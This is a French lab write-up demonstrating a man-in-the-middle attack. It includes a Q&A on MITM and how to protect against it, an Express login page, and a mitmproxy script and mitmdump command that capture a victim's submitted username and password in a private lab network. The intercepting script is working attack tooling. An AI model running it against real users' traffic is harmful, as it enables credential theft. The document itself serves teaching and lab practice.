# Dossier MITM

Man in the middle

# Consignes

Démonstration réelle d'une attaque MITM (Man In The Middle).

> L'**attaque de l'homme du milieu** (**HDM**) ou *<span class="lang-en" lang="en">man-in-the-middle attack</span>* (**MITM**), est une attaque ayant pour but d'intercepter les communications entre deux parties, sans que ni l'une ni l'autre puisse se douter que le [canal de communication](https://fr.wikipedia.org/wiki/Canal_de_communication "Canal de communication") entre elles a été détourné.
> 
> [fr.wikipedia.org/wiki/Attaque\_de\_l'homme\_du\_milieu](https://fr.wikipedia.org/wiki/Attaque_de_l'homme_du_milieu)

# Questionnaire

##### 1. Qu'est ce que c'est ?

*C'est une attaque qui vise a intercepter des paquets, connexions ou*  
*informations*

##### 2. Comment ça marche

*P. Ex. L'attaquant va usurper l'identité d'un équipement réseau (router, dns)*  
*afin d'intercepter les paquets*

##### 3. Quel type d'attaques sont possible avec cette technique

*Interception de paquets, phishing, OSINT. Cela peut aussi être un vecteur d'attaque possible*  
*pour l'exploitation d'un faille 0day*

##### 4. Comment s'en protéger

*Utiliser des connexions sécurisées, permettant un transit de l'information chiffrée, ainsi*  
*qu'avoir une certitude sur le destinataire*

# Schéma de l'attaque et du lab

<div drawio-diagram="36"><img src="https://docs.schmidtnoah.ch/uploads/images/drawio/2025-01/YBwKs9LlwTmGirCv-drawing-3-1736715480.png" alt=""/></div>

Machine Attaquante

[![image.png](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/scaled-1680-/54y9M0jEN04M9IE3-image.png)](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/54y9M0jEN04M9IE3-image.png)

Machine victime

[![image.png](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/scaled-1680-/FIACTqWj007W299c-image.png)](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/FIACTqWj007W299c-image.png)

# Serveur WEB

Afin d'effectuer un test d'échange de paquets, nous allons faire une simple page web qui transmet un nom d'utilisateur et un mot de passe au serveur.

Le serveur web consiste d'un simple script NodeJS, faisant tourner un serveur express. Voici le code de ce dernier ci-dessous.

```javascript
const express = require('express');
const app = express();

// Built-in middleware for parsing URL-encoded form data
app.use(express.urlencoded({ extended: true }));

// GET route to show the form
app.get('/', (req, res) => {
  res.send(`
    <form action="/login" method="POST">
      <label for="username">Username:</label>
      <input type="text" name="username" id="username" required />
      <br /><br />
      
      <label for="password">Password:</label>
      <input type="password" name="password" id="password" required />
      <br /><br />

      <button type="submit">Submit</button>
    </form>
  `);
});

// POST route to handle form submission
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  console.log('Username:', username);
  console.log('Password:', password);

  // You can redirect or respond with a message
  res.send('Login info received. Check your server console!');
});

// Start the server
app.listen(3000, () => {
  console.log('Server is running on http://localhost:3000');
});
```

Après avoir démarré notre serveur, voici la console.

[![image.png](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/scaled-1680-/1WyipvTMtQv080dK-image.png)](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/1WyipvTMtQv080dK-image.png)

L'adresse ip réelle du serveur est 10.10.10.34, et la page est accessible sur le port 3000.

Voici l'aperçu de la victime :

[![image.png](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/scaled-1680-/ALoIj6GGkrx2e6uL-image.png)](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/ALoIj6GGkrx2e6uL-image.png)

# L'homme du millieu

Du côté de l'attaquant, nous allons utiliser l'outil mitmproxy.

> mitmproxy is an interactive man-in-the-middle proxy for HTTP and HTTPS. It provides a console interface that allows traffic flows to be inspected and edited on the fly.
> 
> Also shipped is mitmdump, the command-line version of mitmproxy, with the same functionality but without the frills. Think tcpdump for HTTP.
> 
> [https://kali.org/tools/mitmproxy/](https://kali.org/tools/mitmproxy/)

Avant de l'utiliser, nous allons créer un petit script python afin de récupérer plus d'informations sur les requêtes qui seront interceptées.

```python
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if flow.request.method == "POST":
        print(flow.request.pretty_url)
        print(flow.request.headers)
        print(flow.request.content.decode("utf-8", errors="ignore"))
```

Le fichier sera sauvegardé sous le nom **dump\_script.py**.

Pour finir, exécutons la commande

```python
mitmdump -s dump_script.py --mode upstream:http://10.10.10.34:3000 -p 3000
```

La victime peut se retrouvé redirigé vers le mauvais serveur, suite à un empoisonnement DNS par exemple.

[![image.png](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/scaled-1680-/K1JRw0uRtmzpMDJY-image.png)](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/K1JRw0uRtmzpMDJY-image.png)

Voici à quoi ressemble l'attaque du côté de l'attaquant :

[![image.png](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/scaled-1680-/Xlfk0vnR7muDPNMM-image.png)](https://docs.schmidtnoah.ch/uploads/images/gallery/2025-01/Xlfk0vnR7muDPNMM-image.png)

Pour ce qui est du côté du serveur, ce dernier reçevra tout de même la requête, cependant provenant de 10.10.10.40 (Attaquant). Dans ce cas, l'attaquant a usurpé l'identité du client ainsi que du serveur.